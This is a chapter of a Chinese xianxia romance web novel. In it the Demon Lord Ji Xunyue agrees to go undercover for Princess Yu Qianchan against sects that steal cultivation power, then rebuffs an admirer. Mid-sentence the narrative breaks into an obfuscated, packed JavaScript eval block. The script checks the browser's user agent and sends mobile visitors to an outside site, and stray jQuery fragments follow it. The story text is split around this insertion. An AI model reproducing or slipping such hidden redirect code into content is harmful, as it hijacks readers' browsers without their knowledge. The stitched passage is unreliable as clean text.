是夜,琼华宫偏殿。
“帝姬,魔尊来了。”门口的仙姬进来禀告。
玉千婵正坐在书桌前看书,听到后放下书:“快请她进来。”
才离开座位,就见季寻月快步走向她,一把抱住。
“阿婵!”
“你——”玉千婵脸上闪过一瞬错愕,而后轻笑,轻轻拍了拍季寻月,“难得见你这么热情。”
季寻月放开她,神情感慨:“今天发生了太多,见到你真是恍如隔世。”
玉千婵温和笑笑:“怎么说的这么夸张,坐下来慢慢说。”
季寻月和玉千婵坐到茶桌旁。
“本以为师妹只是留恋凡尘,没想到她的计划如此大胆。”
季寻月简略说了下来龙去脉。
玉千婵不时点点头,等她说完,缓缓开口:“经过这些事,她总算能放下过去,向前看了。”
“归根到底,断尘也不能解决所有问题,想不到穆吟会如此大度。”
“你觉得穆吟为什么会这么做呢?”
季寻月微微蹙眉:“难道说……”
难道穆吟她也没有断尘?
玉千婵笑笑:“有些秘密只能藏在心里,不管钟灵如何选择,希望她都能做到。”
“听说从前没有断尘的规矩时,不少人私自下凡,扰乱人间秩序,之后才有了这个仙规。”
“毕竟最初神界只是想培养一批忠诚的战力,然而他们私心太重,拿着神界的恩惠,却在天上天下斗得乌烟瘴气。”
季寻月垂眸:“可是为何又让这么多人钻了空子?”
“说来说去,自己得来的缘,结什么果,都是他们的选择。这就是仙界要求断尘,却没有彻查的原因。下场都告诉他们了,怎么选是他们的事。”
玉千婵又道:“断尘又如何,七情六欲还在,再多仙规也约束不了什么。”
季寻月轻叹:“这世间的纷争永远无休无止,魔界妖界也是如此。”
玉千婵笑笑,二人一时无言。
玉千婵打破沉默,提议道:“这样说话太闷了,要不要出去走走?”
季寻月欣然同意。
泛舟至青鸾湖中央,万籁俱寂,只有湖水拍击船身的声音。
两人相对而坐,玉千婵带了一坛酒,给彼此各倒了一杯。
季寻月握着酒杯静静望着涌动的浪潮,一时思绪渐远。
玉千婵打趣道:“你来的时候,我还以为换了个人,性子活泼不少,结果现在又静下来了。”
季寻月回过神,笑笑:“少时我的确活泼些,经常闯祸,都靠阿茵拦着我,现在做事没那么恣意了。”
“你还是原来那个你,只是做事前会考虑更多了。”
“经历了那么多,性子沉稳一点也好,不能让别人为我的冲动承担后果。你的箴言,我也说不上是听没听进去。”
“其实无论你是否插手,他们的结局都不会改变,你的介入只会让你痛苦。”
季寻月看着好友,思考着她话中深意。
仙凡有别,但至少同源,神族和凡人,注定是不同的命途。
钟灵的事,季寻月从始至终都是旁观者。
季寻月道:“即使如此,我也甘之如饴。”
说罢,晃晃酒杯,与好友相碰。
玉千婵笑意淡然:“所以我改变不了什么。”
夜风萧瑟,两人浅酌清酒,享受着少有的闲暇。
直到酒杯见空,季寻月才悠悠开口:“现在你可以告诉我,要我帮你做什么事了吧?”
玉千婵又为她添满,不紧不慢道:“仙界本就是依据实力向下统治,神界无意干涉太多。但你也看到了,有些人就是做不到安分守已,把仙界搞得乌烟瘴气。”
“出了什么状况?”
“有人修炼禁术,夺取他人修为。”
季寻月偏头看她:“竟有此事?”
玉千婵迎着季寻月的视线微微颔首:“但是他们行事隐蔽,很难找到证据。”
季寻月问:“你是如何得知?”
玉千婵神色淡淡:“最近几百年殒命的修仙者人数是往常的几倍。而且,多位仙者状告到我面前,他们的弟子投靠六大仙门后,没过几年就销声匿迹。”
普通仙门师徒、同门间虽大多相处和谐,但修炼之事上可能不尽如人意,时间一长,总有熬不过的想转投名门。
同样,六大仙门人才济济,多的是有实力又有野心的修仙者。对宗门里的普通弟子而言,要接受实力不如人的事实是件十分考验心性的事,太执着和其他人对比,反而容易误入歧途,转求邪门歪道。
季寻月皱起眉:“除了恃强凌弱,竟还有胆大到残害同修的,我倒是小看了他们。而这些背叛师门的修仙者,妄想走条捷径结果把命赔了进去,也是可怜又可恨。”
“两边为了追逐力量,都不惜铤而走险,绝不能任由这种事发展下去。”
季寻月了然道:“所以你需要有人在仙界给你当卧底?”
“能全身而退的,只有你了。”
“帝姬大人这么信任我,我真是受宠若惊。”
玉千婵笑得意味深长:“你和衍明宗结了那么多梁子,不想出口气?”
季寻月自然无法拒绝,眉梢一挑:“我该怎么做?”
“上一批修仙者已经修炼了三百年,十天后会有一场切磋交流,你去参加,露点实力,引起他们的注意。”
季寻月若有所思:“四月初一?他们修炼最快的应该也才三重境吧?”
她摊开手掌,随意招出些灵力,纯粹而强劲的灵力凝成云般的实体。
“可是我最弱的力量就已经是这种程度了。”
玉千婵笑笑:“普通修仙者至少花上一百年才能达到二重境,你一个月就有接近二重境的水平,的确是夸张了些。”
季寻月耸耸肩:“就算我愿意留下来装模作样修炼个几十年,这几十年里又不知有多少修仙者被欺骗。”
“历来也有天赋异禀的修仙者,只是没到这个程度,不过记录就是用来打破的,这些都无伤大雅。”
季寻月考虑一番,问道:“可我几天之内修为大涨,玄淮不会起疑吗?”
玉千婵笑道:“难道你毫无进展就不令人生疑吗?我明天寻个由头让玄淮闭关炼药,到时候你就说你忽然开了窍。”
“这些都好说,但是让我叛离师门,我岂不是要背负骂名?被师妹误会怎么办?”
“你若是想告诉她,我也不会拦着,毕竟这事是我拜托你的,不能太让你为难。”
季寻月思忖片刻:“说起来,之前方轻尘还想让玄淮帮忙炼制冬枯草,不知道是否跟此事有关。”
玉千婵若有所思:“看来这事越来越复杂了,还需你多费心。”
“有了证据之后,你准备怎么做?”
玉千婵顿了顿,淡淡道:“不过是让仙界变变天,长老的位置,有些人坐得太久了。”
看来这事闹到过几位长老面前,但被压下来了。
不知这事查到最后会牵涉多少人。
季寻月托着腮,一本正经道:“帝姬大人,我做这些有报酬吗?”
“钟灵不算吗?”
季寻月失笑:“你怎么贩卖人口呢?”
玉千婵端起酒杯,笑眼看她:“那这千年的流光酿如何?”
“帝姬还是先欠着吧。”
玉千婵无奈摇头,算是默认。
季寻月又道:“等这事结束,我就回魔界了。”
“那你和玄淮的事呢?”
“经过这些天的相处,不谈别的,至少他对徒弟、朋友都不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16024214|178543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
错,至于他为何针对魔界,我还要调查一下。”
“想不到你们的仇怨这么快就化解了。”
季寻月支着头,百无聊赖地看着月色下的湖面:“只是我单方面不想计较了。”
她自己都没意识到,不知何时起她就对玄淮没有敌意了。
只要他对叶锦月、钟灵履行师父的职责,又有最基本的良知,对季寻月这个魔尊做什么都无关痛痒了。
睡意逐渐袭来,季寻月不由打了个哈欠。
“好了,事都聊完了,我也该回去了。”
“对了,昨天霍乘风送来一封信,托我转交给你。”
季寻月接过信,眯着眼才扫了个开头,就睁大了眼,睡意全消。
“傅靖川……”季寻月咬牙切齿。
玉千婵又惊又疑,困惑地看着她:“出什么事了?”
季寻月把信递给玉千婵:“我先回魔界一趟。”
玉千婵微微点头:“好。”
待季寻月离开,玉千婵展开信件,才读几行,不由弯唇一笑。
——————————
魔界清宁殿外。
今夜轮到朱绍值守,他愁容满面,对着门口另一个人道:“魇君,魔尊她出关时间不定,您还是先回去吧。”
傅靖川摇摇头:“不行,我至少要见她一面。”
朱绍无奈叹了口气。
“你现在见到了,可以回去了。”
清宁殿的门忽然打开,季寻月冷着脸走了出来。
“魔……魔尊!”朱绍一惊,他竟未察觉季寻月是什么时候回来的。
傅靖川欣喜喊道:“月姐姐——”
“不要叫这个名字!”季寻月立即打断他。
傅靖川俊秀的脸顿时失了光彩,他黯然道:“魔尊。”
季寻月无可奈何,忍着怒气问:“你在我这殿外守了四天是什么意思?你说的话又是什么意思?”
傅靖川无辜道:“我就是想见你一面,我……我也没说什么啊。”
季寻月扶着额,长长叹了口气。
傅靖川的父亲是季寻月麾下九位魔将之一的傅霄。
傅靖川小她几百岁,年少时学着阿茵喊季寻月姐姐,自从神魔大战中被季寻月救下,更是动了心。
季寻月又气又笑:“你对霍乘风说,从前你一来我就赶你走,这次我几天没出面,说不定是对你有好感?”
傅靖川低着头:“我也只是推测。”
“我说过,你不要在我身上花心思,我不可能……”季寻月见他情绪低落,又不忍说重话。
“月……魔尊,既然你没有喜欢的人,为什么不能考虑一下我?”
季寻月脱口而出:“你怎么知道我没有喜欢的人?”
说完,不仅是面前两人,连她自己都愣了愣。
而她第一时间脑海里浮现的,居然是玄淮的脸?!
傅靖川呆了呆,愣愣道:“如果月姐姐有喜欢的人,那我自然不会再打扰了,就像当初……”
“当初什么?”季寻月莫名其妙。
傅靖川失落地摇摇头:“没什么。”
季寻月淡淡道:“你该回去了。”
傅靖川轻轻应了声,失魂落魄地离开了。
季寻月闭上眼深吸一口气,也是一阵心烦。
傅靖川或许从未知晓,他是季泠茵年少起就暗恋的人。
当年,季泠茵让她先去救傅靖川,而她还未赶回,便先收到妹妹的死讯。
她不恨他,只是不想见到他。
季寻月道:“朱绍,他要是再做什么出格的事,及时通知我。”
朱绍点点头:“是。”
季寻月揉揉眉心,酒意上涌,已经倦得不行。
她无暇思考,只想快点赶回去好好睡上一觉。